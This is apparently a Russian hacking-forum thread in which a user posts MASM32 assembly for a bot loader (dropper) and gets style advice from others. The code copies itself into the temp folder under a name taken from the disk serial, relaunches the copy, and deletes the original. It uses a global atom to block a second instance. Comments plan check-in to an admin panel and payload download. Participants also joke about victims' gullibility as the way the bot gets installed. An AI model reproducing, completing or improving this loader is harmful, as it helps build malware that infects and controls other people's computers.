Надолго ли... 
нужно чтобы кто-то начал, дай бог найдутся сподвижники...Надолго ли...
WCHAR pwc[MAX_PATH + 1]
GetModuleFileName(0, pwc, MAX_PATH);
invoke CreateProcess,offset fname,NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,offset cif,offset pi
...
xor eax,eax
invoke CreateProcess,offset fname,eax,eax,eax,eax,NORMAL_PRIORITY_CLASS,eax,eax,offset cif,offset pi
в смысле? Написать свои обертки вокруг heapalloc/heapfree?- раз уж выделяешь память, определи функции alloc/free
Да, больше для практики. Хотя в финальной версии лоадера буду использовать,скорее всего, вининет, ибо он более отлажен, чем мой самопал на сокетах + есть мысль сделать гейт на https.- сокеты и вининет ты юзаешь я так понял только что бы по практиковать и то и другое ?
Как можно сделать его более читабельным и понятным, кроме как варианта перевести на Си? Разбить все на процедуры?причеши код, не понятно же ничего
За прошедшее время мало занимался этим лоадером и сис.кодингом вообще, так как почти всю зиму и часть весны делали 1 веб проект, потом было не до того. Но кое что сделал. Собственно, разбил на процедуры, сделал обертки для виндовых функций. Пока еще не все переписал, отстуствуют процедуры скачивания и отстука в админку (точнее, оно все есть, но в кривом варианте).3, да процедурно , форматирование, если даже не процедурно то разделить на участки, разделенные комментариями с описанием что это такое.
.386
.model flat, stdcall
option casemap:none
%zeroch macro
test eax,eax
jz @err
endm
get_task proto :dword
ch_multirun proto
bot_install proto
my_alloc proto :dword
my_free proto :dword
lstrdup proto :dword
my_getdir proto lpPath:dword
my_zeromemory proto :dword,:dword
my_getrndkey proto :dword
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32
.data
dRndNum dd 0;уникальный ид (берется с инфы диска)
sRndNum db 12 dup(0);cтрока содержащая этот самый ид
hHeap dd 0;хендл нового хипа
.code
main proc
local first[32]:byte;параметры командной строки - тип операции(удалить, апдейтить)
local second[MAX_PATH]:byte;путь к изначальному файлу
invoke GetCL, 2, addr second; получаем второй элемент командной строки
.if eax!=1;если его нет, значит запуск без параметров
jmp @install;переходим на инсталл
.elseif eax==1;если же с параметрами - тогда обрабатываем их,апдейт или удалить
invoke GetCL, 1, addr first;получаем 1 параметр
.if eax==1
switch$ addr first
case$ "del";мб события добавить?
invoke Sleep,8000;ждем завершение исходного файла, т.к. мало ли
invoke DeleteFile,addr second
.if eax==0;удалить не удалось, пусть удалит его система после ребута
invoke MoveFileEx,addr second,0,MOVEFILE_DELAY_UNTIL_REBOOT
.endif;хотя не будет работать на висте+
jmp @installed
endsw$
.endif
.endif
@install:;инстал в систему, проверка и все такое
invoke bot_install;собственно, инсталл
@installed:;уже заинсталенн, нормальная работа
;тут будет отстук и скачивание файла
invoke my_alloc,MAX_PATH
xor ebx,ebx
mov edi,eax
invoke GetModuleFileName,ebx,edi,MAX_PATH;текущий путь к файлу
invoke MessageBox,0,edi,0,0
ret
main endp
bot_install proc
local lpCurfname:dword
local lpNewfname:dword
local lpCurdir:dword
local lpBufcmd:dword
;allocate memory to path
invoke my_alloc,MAX_PATH
%zeroch
mov lpCurfname,eax
invoke my_alloc,MAX_PATH
%zeroch
mov lpNewfname,eax
xor ebx,ebx
invoke GetModuleFileName,ebx,lpCurfname,MAX_PATH;текущий путь к файлу
%zeroch
invoke lstrdup,lpCurfname;дублируем строку, нужно будет для копирования
mov lpCurdir,eax
invoke my_getdir,lpCurdir;получаем текущую папку
;путь к темп,добавляем к нему имя фаела
invoke ExpandEnvironmentStrings,chr$("%tmp%"),lpNewfname,MAX_PATH
;!TODO - выбор случайного места для копирования файла. посмотреть, куда может копировать себя гость, и выбирать свитчем
;приводим пути, иначе не удастся сравнить
invoke GetLongPathName,lpNewfname,lpNewfname,MAX_PATH
invoke lstrcmpi,lpCurdir,lpNewfname;сравниваем текущий путь и инсталл путь (папки)
.if eax == 0;мы уже там, где надо
;освобождаем память, выходим нафиг
invoke my_free,lpCurfname
invoke my_free,lpNewfname
invoke my_free,lpCurdir
;TODO - heapvalid
jmp @ret
.else
invoke ch_multirun;проверка на повторный запуск
invoke lstrlen,lpCurdir
mov ebx,eax
invoke my_zeromemory,lpCurdir,ebx;обнуляем ненужную больше текущую директорию
invoke lstrdup,lpNewfname;копируем туда директорию темп, нужно для запуска дальше
mov lpCurdir,eax
invoke lstrcat,lpNewfname,chr$("\");добавить слеш
invoke lstrcat,lpNewfname,offset sRndNum;добавить рендомное имя файла
invoke lstrcat,lpNewfname,chr$(".exe");и расширение
invoke CopyFile,lpCurfname,lpNewfname,FALSE;копируем с перезаписью
%zeroch
;формируем строку запроса для удаления, буфер шаблон , путь к дропперу
invoke my_alloc,1024;выделяем память для буфера командной строки
mov lpBufcmd,eax
invoke wsprintf,lpBufcmd,chr$("%s %s"),chr$("del"),lpCurfname
;!TODO Добавить событие сюда
invoke ShellExecute,0,chr$("open"),lpNewfname,lpBufcmd,lpCurdir,SW_SPOILER
invoke my_free,lpBufcmd
invoke my_free,lpCurfname
invoke my_free,lpNewfname
invoke my_free,lpCurdir
invoke ExitProcess,0;мб не стоит освобождать память?
jmp @ret
.endif
@err:
fn MessageBox,0,LastError$(),"bot install",MB_OK
@ret:
ret
bot_install endp
ch_multirun proc;проверяет на повторный запуск, добавляет атом или завершает работу
invoke my_getrndkey,offset dRndNum
%zeroch
invoke wsprintf,offset sRndNum,chr$("%08x"),dRndNum;сохраняем его в текст
invoke GlobalFindAtom,offset sRndNum;ищем атом с таким ид
invoke GetLastError
.if eax != ERROR_FILE_NOT_FOUND;атом есть, значит не первый запуск
invoke MessageBox,0,chr$("povtorniy zapusk!"),0,0
invoke ExitProcess,1
.endif
invoke GlobalAddAtom,offset sRndNum;иначе добавляем атом в глоб. таблицу
jmp @ret
@err:
fn MessageBox,0,LastError$(),"check multirun",MB_OK
@ret:
ret
ch_multirun endp
my_alloc proc heapsize:dword
;принимает параметр-размер памяти, возвращает указатель на эту область памяти или 0
xor eax,eax
cmp eax,hHeap
jnz @f;переход на выделение памяти
invoke HeapCreate,0,5000h,30000h;создаем новый хип
test eax,eax
jz @err
mov hHeap,eax
@@:;просто выделяем память
invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,heapsize
test eax,eax
jnz @ret;если не 0 - выходим, иначе ошибка
@err:
fn MessageBox,0,LastError$(),"my_malloc error",MB_OK
xor eax,eax;возвращаем 0 если ошибка какая-то
@ret:
ret
my_alloc endp
my_free proc pmem:dword
;принимает адрес выделенной памяти, освобождает память и возвращает не 0 если получилось
;TODO - сделать макрос для этой функи, чтобы передавать разное к-тво аргументов сразу
invoke HeapFree,hHeap,0,pmem
test eax,eax
jnz @ret;если не 0 - выходим, иначе ошибка
@err:
fn MessageBox,0,LastError$(),"my_malloc error",MB_OK
xor eax,eax;error, return 0
@ret:
ret
my_free endp
my_zeromemory proc uses ecx edi pmem:dword,dsize:dword
;заполняет указанную область нуллбайтом, ничего не возвращает
xor al,al
mov edi,pmem
mov ecx,dsize
cld
rep stosb
ret
my_zeromemory endp
lstrdup proc lpStr:dword
;дублирует строку, спижжено с пони
invoke lstrlen, lpStr
inc eax
invoke my_alloc, eax
push eax
invoke lstrcpy, eax, lpStr
pop eax
ret
lstrdup endp
my_getdir proc lpPath:dword
;принимает указатель на путь к файлу, возвращает папку без слеша
invoke lstrlen,lpPath
mov edi,lpPath
add edi,eax
mov al,'\'
mov ecx,eax
std
repne scasb
inc edi; нуллбайт на месте слеша
mov byte ptr[edi],0
cld
ret
my_getdir endp
my_getrndkey proc lpRkey:dword
;фактически мини-обертка над 1 функой, записывает серийник диска в переменную
xor eax,eax
invoke GetVolumeInformation,eax,eax,eax,offset dRndNum,eax,eax,eax,eax;форм.рендомный ключ
ret
my_getrndkey endp
end main
Не надо быть кул хацкером, можно просто быть грамотным психологом)Верно говоришBomzh. Тут еще прикол в том, что даже зная некоторые темы, не заюзать их простому человеку. Нужен целый тим, каждый мембер которого будет выполнять свою функцию.
СИ, да, пока жива человеческая глупость, инсталлы будут, а глупость не помрет никогда